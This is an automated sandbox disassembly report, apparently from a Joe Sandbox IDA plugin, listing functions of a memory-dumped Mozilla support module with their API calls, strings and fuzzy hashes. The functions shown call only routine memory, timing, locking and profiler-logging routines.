Instruction ID: c52b3f5481f607f530a7bce4119d9564e07685509d0ed59fc3019e310e4f7c45
Opcode Fuzzy Hash: 48b1f4b22744798f275eec1d8d15ec6f25de75057a5caa1c0a34d0aa122ef85e
Instruction Fuzzy Hash: BE41EC717042599BCB14CFBCDC8159FBBF9AF99228B144638E855D7B81D730D908CBA1

Function 6C91CA20 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82timesleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000001), ref: 6C91CA57
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C91CA69
Sleep.KERNEL32 ref: 6C91CADD
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C91CAEA
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C91CAF5
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C91CB19

Strings

KpT{/, xrefs: 6C91CA2E

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Time$Now@SleepStamp@mozilla@@V12@_$BaseDurationFromMilliseconds@PlatformStampTicksUtils@mozilla@@V01@@Value@mozilla@@
String ID: KpT{/
API String ID: 432163150-2391877073
Opcode ID: 7572bdda3f5bce60274d82611bc40140352a50cfb4f1936b1e1ebbce66b7e207
Instruction ID: 15b5c495a7c8fe13f2b38703a2c217d89cd8b01c0864a1db7e3ac7e761074c90
Opcode Fuzzy Hash: 7572bdda3f5bce60274d82611bc40140352a50cfb4f1936b1e1ebbce66b7e207
Instruction Fuzzy Hash: E0213A31B0870C87C709AB38D84506FBBBAFFC5348F408638E855A6A44FF70C5558781

Function 6C92C810 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C92C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C92C842

Part of subcall function 6C92CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C94B5EB,00000000), ref: 6C92CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C92C863
std::_Facet_Register.LIBCPMT ref: 6C92C875

Part of subcall function 6C90B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C94B636,?), ref: 6C90B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C92C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C92C8BC

Strings

KpT{/, xrefs: 6C92C81E

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID: KpT{/
API String ID: 2745304114-2391877073
Opcode ID: 828070749aca8ea9eb747cfc35b869f695c1b671c61d02760ef835e8620c5888
Instruction ID: 91cad8fbdc9ccd855d13482a0e8c9c678ad9cf374cc0582a7c7f4be291ab3317
Opcode Fuzzy Hash: 828070749aca8ea9eb747cfc35b869f695c1b671c61d02760ef835e8620c5888
Instruction Fuzzy Hash: F811B671B042059BDB00DFA4C8858BE7BB8FF99354B600129E60697341DB34D905CBD1

Function 6C919420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C90AB89: EnterCriticalSection.KERNEL32(6C95E370,?,?,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284), ref: 6C90AB94
Part of subcall function 6C90AB89: LeaveCriticalSection.KERNEL32(6C95E370,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284,?,?,6C8F56F6), ref: 6C90ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8E4A68), ref: 6C91945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C919470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C919482
__Init_thread_footer.LIBCMT ref: 6C91949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C91946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C919459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C91947D

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 976054ddce41a84040bdd7493eac2df43e1d79f4caccf398e69cbff3baad4f00
Instruction ID: 8a6070e4cbc4946bb1a8e14a729f531e131ec6ccd5eeb99da0c753aec3e1c311
Opcode Fuzzy Hash: 976054ddce41a84040bdd7493eac2df43e1d79f4caccf398e69cbff3baad4f00
Instruction Fuzzy Hash: 6B01FC70B081158BDF00DF6ED816A5A33799B4A33DF650537DD0B86F81D731D4648997

Function 6C8D4B50 Relevance: 12.2, APIs: 8, Instructions: 164COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C8D4667,?,?,?,?,?,?,?,?,6C914843,?), ref: 6C8D4C63
free.MOZGLUE(?,?,?,6C8D4667,?,?,?,?,?,?,?,?,6C914843,?), ref: 6C8D4C89
free.MOZGLUE(?,?,?,6C8D4667,?,?,?,?,?,?,?,?,6C914843,?), ref: 6C8D4CAC
free.MOZGLUE(?,?,?,?,?,?,?,6C914843,?), ref: 6C8D4CCF
free.MOZGLUE(?,?,?,?,?,?,?,?,6C914843,?), ref: 6C8D4CF2
free.MOZGLUE(?,?,?,?,?,?,?,?,6C914843,?), ref: 6C8D4D15
free.MOZGLUE(?,?,?,?,?,?,?,?,6C914843,?), ref: 6C8D4D38
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C8D4667,?,?,?,?,?,?,?,?,6C914843,?), ref: 6C8D4DD1

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1497960986-0
Opcode ID: abc689eb19f6269af5b126f9f28b6d9bfca22e78f269025322273652ad39542d
Instruction ID: e405fa1dea974e984fa2d407d3b6372ac417726b7d97f067240928d6af05d245
Opcode Fuzzy Hash: abc689eb19f6269af5b126f9f28b6d9bfca22e78f269025322273652ad39542d
Instruction Fuzzy Hash: E1513A72504B448FE3348B7CDAA871A76A1AFC2329F554E1CE0A7CAFD1D736B5448B42

Function 6C8DE9C0 Relevance: 12.1, APIs: 8, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,6C8E1999), ref: 6C8DEA39
memcpy.VCRUNTIME140(?,?,7FFFFFFE), ref: 6C8DEA5C
memset.VCRUNTIME140(7FFFFFFE,00000000,?), ref: 6C8DEA76
moz_xmalloc.MOZGLUE(-00000001,?,?,6C8E1999), ref: 6C8DEA9D
memcpy.VCRUNTIME140(?,7FFFFFFE,?,?,?,6C8E1999), ref: 6C8DEAC2
memset.VCRUNTIME140(?,00000000,00000000,?,?,?,?), ref: 6C8DEADC
free.MOZGLUE(7FFFFFFE,?,?,?,?), ref: 6C8DEB0B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?), ref: 6C8DEB27

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: memcpymemsetmoz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 706364981-0
Opcode ID: 5e79a008ac7927cf817232ddce62e0465f22011f8f51cbe24faf450191a66570
Instruction ID: f33e9d9a0340bb38ebdd80c02bc975a3e9f2c5196b31e7d2230974e67d570ced
Opcode Fuzzy Hash: 5e79a008ac7927cf817232ddce62e0465f22011f8f51cbe24faf450191a66570
Instruction Fuzzy Hash: FC41B7B1A002169FDB24CF68DD80AAEB7B4FF65368F250A74E815E7794E730E90487D1

Function 6C8DB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C8DB61E,?,?,?,?,?,00000000), ref: 6C8DB6AC

Part of subcall function 6C8ECA10: malloc.MOZGLUE(?), ref: 6C8ECA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C8DB61E,?,?,?,?,?,00000000), ref: 6C8DB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C8DB61E,?,?,?,?,?,00000000), ref: 6C8DB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C8DB61E,?,?,?,?,?,00000000), ref: 6C8DB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C8DB61E,?,?,?,?,?,00000000), ref: 6C8DB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C8DB61E), ref: 6C8DB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C8DB61E,?,?,?,?,?,00000000), ref: 6C8DB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C8DB61E,?,?,?,?,?,00000000), ref: 6C8DB79A

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: d31b14087f89ad0439ae7a47b040e4a7840515eb5aacf8eebfcfa3f4e5e0475b
Instruction ID: 0458c7e3886366ca1f9a8a49ab7e6057704a9e3e62f0f47ebf2eb617ca874cfb
Opcode Fuzzy Hash: d31b14087f89ad0439ae7a47b040e4a7840515eb5aacf8eebfcfa3f4e5e0475b
Instruction Fuzzy Hash: E741A2B2D001199FCB24DE68DD805BEB7B5BF55324B260A29E825E7780E731E9048BD1

Function 6C8DEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C955104), ref: 6C8DEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C8DEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C8DEFEC
free.MOZGLUE(?), ref: 6C8DF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C8DF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C8DF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8DF065
moz_xmalloc.MOZGLUE ref: 6C8DF072

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 48252fe1e4f99409f5405612a6c3b40054ca01117424f06f84fe17ddcb618a03
Instruction ID: 9e681c3f0102d26811eb8adfd1cb3b9be8916fed03d7eb72a5fc83782767a1fb
Opcode Fuzzy Hash: 48252fe1e4f99409f5405612a6c3b40054ca01117424f06f84fe17ddcb618a03
Instruction Fuzzy Hash: 894109F1A002059FCB18CF68D9809AE7765BF98324B254638E815DB794EB31ED15C7E1

Function 6C916590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C90FA80: GetCurrentThreadId.KERNEL32 ref: 6C90FA8D
Part of subcall function 6C90FA80: AcquireSRWLockExclusive.KERNEL32(6C95F448), ref: 6C90FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C916727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9167C8

Part of subcall function 6C924290: memcpy.VCRUNTIME140(?,?,6C932003,6C930AD9,?,6C930AD9,00000000,?,6C930AD9,?,00000004,?,6C931A62,?,6C932003,?), ref: 6C9242C4

Strings

KpT{/, xrefs: 6C9165A3
data, xrefs: 6C916593

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: KpT{/$data
API String ID: 511789754-75250753
Opcode ID: 865635aee83b1196d0e85a981459abc16214be0af81e286c39ba27cef82d833c
Instruction ID: d87a9577dea23aaa8bc409c50a6b26acde72eab71506c6eff92066461ec895af
Opcode Fuzzy Hash: 865635aee83b1196d0e85a981459abc16214be0af81e286c39ba27cef82d833c
Instruction Fuzzy Hash: 35D1AD75A083448BD724DF25C841B9FBBE5AFE5308F10892DE58987B91DB30E909CB52

Function 6C90D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C8DEB57,?,?,?,?,?,?,?,?,?), ref: 6C90D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C8DEB57,?), ref: 6C90D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C8DEB57,?), ref: 6C90D673
free.MOZGLUE(?), ref: 6C90D888

Strings

KpT{/, xrefs: 6C90D5DC, 6C90D7AC
|Enabled, xrefs: 6C90D81E

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: KpT{/$|Enabled
API String ID: 4142949111-522989520
Opcode ID: 1bac5b100d9c080a51abf3610741cf770c2ea2ff4d5bf9411255e9dfd5a37d93
Instruction ID: faf5f239cbb0271ad4bcd2601f77ee66b50ac1a911eba0950f16822d9fd27e92
Opcode Fuzzy Hash: 1bac5b100d9c080a51abf3610741cf770c2ea2ff4d5bf9411255e9dfd5a37d93
Instruction Fuzzy Hash: 31A125B1B043098FDB11CF68C4807AEBBF5AF49318F18846CD899AB742D735E845CBA1

Function 6C9171A0 Relevance: 10.7, APIs: 2, Strings: 5, Instructions: 212COMMON

Download Yara Rule

APIs

Part of subcall function 6C916060: moz_xmalloc.MOZGLUE(00000024,7B54704B,00000000,?,00000000,?,?,6C915FCB,6C9179A3), ref: 6C916078

free.MOZGLUE(-00000001), ref: 6C9172F6
free.MOZGLUE(?), ref: 6C917311

Strings

KpT{/, xrefs: 6C9171AB
Copied unique strings, xrefs: 6C917320
333s, xrefs: 6C917226
Spliced unique strings, xrefs: 6C917340
333s, xrefs: 6C91731B

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: free$moz_xmalloc
String ID: 333s$333s$Copied unique strings$KpT{/$Spliced unique strings
API String ID: 3009372454-1692158710
Opcode ID: ec59b0e7b540fe476311b60a83555179f7936e25420c3cacae8af87c3474cf0f
Instruction ID: 9149d390987963232999516dbc42543d5d093b3a1680e7c06f84e980f4f78c27
Opcode Fuzzy Hash: ec59b0e7b540fe476311b60a83555179f7936e25420c3cacae8af87c3474cf0f
Instruction Fuzzy Hash: E271C571F0421A8FCB08CF69D8916EDB7F6AF94304F25852DD80AA7B50DB31E946CB81

Function 6C8E9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C937ABE), ref: 6C8E985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C937ABE), ref: 6C8E98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C8E9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C8E9918
free.MOZGLUE(?), ref: 6C8E9975

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: abaf0c294df9c20edeb44f74744058b33eae9e972dfe8adec31046e92cffe6c7
Instruction ID: aa1f4761f745c52b4f823b1fd457bcd574b3dc29b846ef3df43ccdb747326710
Opcode Fuzzy Hash: abaf0c294df9c20edeb44f74744058b33eae9e972dfe8adec31046e92cffe6c7
Instruction Fuzzy Hash: 78718AB46047158FC725DF28C5C0996BBF1FF4E3247244AA9D85A8BBA1D7B1F841CB90

Function 6C920180 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 151threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C920270
GetCurrentThreadId.KERNEL32 ref: 6C9202E9
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C9202F6
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C92033A

Strings

KpT{/, xrefs: 6C9202BC
about:blank, xrefs: 6C92020F

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID: KpT{/$about:blank
API String ID: 2047719359-3022252875
Opcode ID: 025be45be64be5a031056b5e014019a094a8332a7acff41c64f8de77e765d054
Instruction ID: 99f147bd30adab81a1457b7bfd06dd6eba6108ad7d8e8133b1012cc8151bccd7
Opcode Fuzzy Hash: 025be45be64be5a031056b5e014019a094a8332a7acff41c64f8de77e765d054
Instruction Fuzzy Hash: 8B51DD71A00219CFCB00DF68C880AAAB7F5FF89328FA44559C85AA7B45D735FD46CB90

Function 6C8EB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C92CC83,?,?,?,?,?,?,?,?,?,6C92BCAE,?,?,6C91DC2C), ref: 6C8EB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C92CC83,?,?,?,?,?,?,?,?,?,6C92BCAE,?,?,6C91DC2C), ref: 6C8EB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C92CC83,?,?,?,?,?,?,?,?,?,6C92BCAE), ref: 6C8EB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C92CC83,?,?,?,?,?,?,?,?,?,6C92BCAE,?,?,6C91DC2C), ref: 6C8EB896

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: c8e0723cb782b9719f2e5ca6f6a20d204cf10c54023717c7196029facb8a3e1e
Instruction ID: 4235c66da9247dcc3d00419db470337f7051900fbaa646d7be81ec4cc8fafcb2
Opcode Fuzzy Hash: c8e0723cb782b9719f2e5ca6f6a20d204cf10c54023717c7196029facb8a3e1e
Instruction Fuzzy Hash: EC5177757042248FDB24CF19C694A3ABBF5FF8E318B69895DE98A87741C730E801CB84

Function 6C8D4DE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C8D4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C8D4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C8D4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C8D4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C8D4F1E

Strings

KpT{/, xrefs: 6C8D4DF6

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID: KpT{/
API String ID: 713647276-2391877073
Opcode ID: 4c0a03a0c31fe4c412759517dc3ec4b7b9b85cffb274550024e0988c4d231e75
Instruction ID: 4a8efb0ec876f1da6b8ad0ae968719279adad04b7fb2b84abd5eb3f1ffa583ce
Opcode Fuzzy Hash: 4c0a03a0c31fe4c412759517dc3ec4b7b9b85cffb274550024e0988c4d231e75
Instruction Fuzzy Hash: B341AD71608706AFC725CF68C48095BBBE4BFC9354F118A2DF46697A51DB30F918CB92

Function 6C91E100 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 114threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8E4A68), ref: 6C91945E
